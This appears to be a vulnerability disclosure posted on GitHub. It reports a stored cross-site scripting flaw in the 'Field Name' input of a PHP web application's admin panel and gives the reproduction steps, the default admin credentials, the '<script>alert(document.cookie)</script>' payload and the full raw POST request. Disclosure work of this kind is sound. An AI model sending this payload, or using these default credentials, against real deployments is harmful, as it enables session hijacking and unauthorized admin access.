Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

BUG_Author:sunyucheng

Vulnerability url: /mcw/classes/Master.php?f=save_field

POST form-data parameter name exists stored cross-site scripting

Steps to reproduce

1.Go to the admin Login

http://localhost/mcw/admin/login.php

Default Admin Access: Username: admin / Password: admin123

2.Click on "Field List" and Click on "+ Create New".

3.Put Payload into the Field Name

Payload:<script>alert(document.cookie)</script>

image

4.Click on Save

Transmission packet

POST /mcw/classes/Master.php?f=save_field HTTP/1.1
Host: localhost
Content-Length: 555
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWIRCYsmrR7zz9nDG
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/mcw/admin/?page=fields
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3o0s1j8jkgqito3ks6rblb0g3f
Connection: close

------WebKitFormBoundaryWIRCYsmrR7zz9nDG
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryWIRCYsmrR7zz9nDG
Content-Disposition: form-data; name="category_id"

1
------WebKitFormBoundaryWIRCYsmrR7zz9nDG
Content-Disposition: form-data; name="name"

<script>alert(document.cookie)</script>
------WebKitFormBoundaryWIRCYsmrR7zz9nDG
Content-Disposition: form-data; name="description"

a
------WebKitFormBoundaryWIRCYsmrR7zz9nDG
Content-Disposition: form-data; name="status"

1
------WebKitFormBoundaryWIRCYsmrR7zz9nDG--

5.Payload will trigger when a user visits on http://localhost/mcw/admin/?page=fields

image